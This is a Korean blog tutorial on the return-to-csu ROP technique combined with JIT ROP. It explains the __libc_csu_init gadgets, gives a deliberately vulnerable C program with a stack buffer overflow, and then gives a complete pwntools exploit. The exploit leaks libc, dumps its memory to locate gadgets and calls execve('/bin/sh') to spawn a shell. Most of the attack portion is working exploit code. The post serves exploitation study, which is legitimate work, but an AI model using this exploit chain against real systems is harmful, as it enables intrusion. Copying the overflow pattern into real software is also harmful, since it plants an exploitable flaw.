Return to csu (ft. JIT ROP)
System/System Hacking

Return to csu (ft. JIT ROP)

728x90

return-to-csu

__libc_csu_init() 함수의 일부 코드를 gadget으로 이용하는 기술

void __libc_csu_init (int argc, char **argv, char **envp)
{
  ...
  const size_t size = __init_array_end - __init_array_start;
  for (size_t i = 0; i < size; i++)
      (*__init_array_start [i]) (argc, argv, envp);
}

( https://code.woboq.org/userspace/glibc/csu/elf-init.c.html#__libc_csu_init )

__libc_csu_init()함수

: 프로그램 실행 시, __init() 함수와 __preinit_array, __init_array에 설정된 함수 포인터를 읽어 함수를 호출

Assembly code

Gadget 1: rbx, rbp, r12, r13, r14, r15 레지스터에 값을 저장

Gadget 2: r13, r14, r15 레지스터에 저장된 값을 rdx, rsi, edi 레지스터에 저장 + r12 레지스터 값에 저장된 주소 호출

    → mov edi, r15d = r15에 저장된 64bit 값에서 32bit 값만 edi 레지스터에 저장

    → 최대 3개의 인자 값만 함수에 전달 가능

주소는 다름...

※ rbx, rbp 레지스터의 값을 주의 ※

gadget1: rbx 레지스터에 '0' 저장 → r12 레지스터 값에 저장된 주소 호출 가능

 

gadget1: rbp 레지스터에 '1' 저장 → 조건문 우회 가능 ▷ 조건문을 우회해야만 연속적으로 gadget 사용이 가능

gadget2: "call QWORD PTR [r12+rbx*8]" 명령어 처리 후 조건문 cmp, jne 처리

    → cmp rbx, rbp = rbx, rbp 레지스터의 값이 같은지 확인

    → jne = cmp 결과 두 값이 다를 경우 gadget2로 이동

                  cmp 결과 두 값이 같을 경우 gadget1로 이동


Proof of Concept

//gcc -fno-stack-protector -o rop rop.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h> 

void vuln(){
    char buf[50];
    read(0, buf, 512);
}

void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

overflow

rsp = 0x7fffffffde78

rsi = 0x7fffffffde30

return address - buf 변수 시작주소 = 72 ▷72개 이상의 문자를 입력함으로써 return address 영역을 덮어 쓸 수 있다


Exploit Method

rop 기법을 이용한 exploit 순서

 

1. 첫번째 ROP Chain

    - write() 함수를 이용해 __libc_start_main@got 영역에 저장된 libc 주소 추출

    - read() 함수를 이용해 .bss 영역에 다음 ROP 코드 받기

2. 두번째 ROP Chain

    - "/bin/sh\x00": execve() 함수의 첫번째 인자로 전달될 "/bin/sh" 문자열을 .bss 영역에 저장

    - JIT ROP: write() 함수를 이용해 메모리에 저장된 libc 파일 출력 ▷ 출력 값에서 필요한 ROP gadget 찾기

    - read() 함수를 이용해 .bss 영역에 다음 ROP 코드 받기

3. 세번째 ROP Chain

    - execve() 시스템 함수를 이용해 "/bin/sh" 실행

write(1,__libc_start_main,8)
read(0,.bss + 0x400,400)
JMP .bss + 0x400
write(1,Address of leak libc,0x190000)
read(0,"base_stage + len(buf) + 8 * 10" ,100)
execve("/bin/sh", NULL, NULL)

 

필요한 정보

- .bss 주소

- return-to-csu gadget 주소

- read@got, write@got 주소

- "/bin/sh"


.bss 주소 찾기

return-to-csu gadget 찾기

gadget1 = 0x40060a

gadget2 = 0x4005f0

gadget3 = 0x40060d (5c)

 

pop r8,  r9, r10, r11, r12, r13, r14, r15 명령어들은 pop rax, rcx, rdx, rbx, rsp, rbp, rsi, rdi 명령어로 활용 가능

ex) pop r8 명령어의 hex 값: "41 58" ▷ pop rax 명령어도 사용 가능 (hex 값: "58")

 

gadget3(0x40060d; 5c)를 이용하여 rsp 레지스터에 값을 저장 가능 ▷ RSP 레지스터에 다음 ROP 코드가 저장된 영역의 주소를 저장하고 해당 영역으로 이동해 코드를 실행


Exploit Code

from pwn import *
from struct import *
  
#context.log_level = 'debug'
  
binary = ELF('./rop')
 
execve = 59
 
addr_bss = 0x601050
addr_got_read = binary.got['read']
addr_got_write = binary.got['write']
addr_got_start = binary.got['__libc_start_main']
  
addr_csu_init1 = 0x40060a
addr_csu_init2 = 0x4005f0
addr_csu_init3 = 0x40060d
  
stacksize = 0x400
base_stage = addr_bss + stacksize
  
p = process(binary.path)
p.recvn(10)
  
# stage 1: read address of __libc_start_main()
buf = 'A' * 72
#Gadget 1
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(8)
buf += p64(addr_got_start)
buf += p64(1)
#Gadget 2 - write(1,__libc_start_main,8)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(400)
buf += p64(base_stage)
buf += p64(0)
#Gadget 2 - Call read(0,.bss + 0x400,400)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
 
buf += p64(addr_csu_init3)
buf += p64(base_stage)
 
p.send(buf)
libc_addr = u64(p.recv())
log.info("__libc_start_main : " + hex(libc_addr))
  
libc_bin = ''
libc_readsize = 0x190000
 
# stage 2: "/bin/sh\x00" and JIT ROP
buf = "/bin/sh\x00"
buf += 'A' * (24-len(buf))
 
 
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(libc_readsize)
buf += p64(libc_addr)
buf += p64(1)
  
#Gadget 1 - write(1,Address of leak libc,0x190000)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(100)
buf += p64(base_stage + len(buf) + 8 * 10)
buf += p64(0)
  
#Gadget 2 - read(0,"base_stage + len(buf) + 8 * 10" ,100)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
 
p.send(buf)
  
with log.progress('Reading libc area from memory...') as l:
    for i in range(0,libc_readsize/4096):
        libc_bin += p.recv(4096)
        l.status(hex(len(libc_bin)))
 
offs_pop_rax = libc_bin.index('\x58\xc3') # pop rax; ret
offs_pop_rdi = libc_bin.index('\x5f\xc3') # pop rdi; ret
offs_pop_rsi = libc_bin.index('\x5e\xc3') # pop rsi; ret
offs_pop_rdx = libc_bin.index('\x5a\xc3') # pop rdx; ret
offs_syscall = libc_bin.index('\x0f\x05') # syscall
 
log.info("Gadget : pop rax; ret > " + hex(libc_addr + offs_pop_rax))
log.info("Gadget : pop rdi; ret > " + hex(libc_addr + offs_pop_rdi))
log.info("Gadget : pop rsi; ret > " + hex(libc_addr + offs_pop_rsi))
log.info("Gadget : pop rdx; ret > " + hex(libc_addr + offs_pop_rdx))
log.info("Gadget : syscall > " + hex(libc_addr + offs_syscall))
  
# stage 3: execve("/bin/sh", NULL, NULL)
buf = p64(libc_addr + offs_pop_rax)
buf += p64(execve)
buf += p64(libc_addr + offs_pop_rdi)
buf += p64(base_stage)
buf += p64(libc_addr + offs_pop_rsi)
buf += p64(0)
buf += p64(libc_addr + offs_pop_rdx)
buf += p64(0)
buf += p64(libc_addr + offs_syscall)
  
p.send(buf)
p.interactive()

! 성공 !

 

SMALL

'System > System Hacking' 카테고리의 다른 글

[Heap] ptmalloc2  (0) 2020.09.12
Return to csu (ft. Return-to-vuln, Just-In-Time Code Reuse)  (0) 2020.08.15
SROP x64  (0) 2020.07.24
SROP x86  (0) 2020.07.23
SROP  (0) 2020.07.23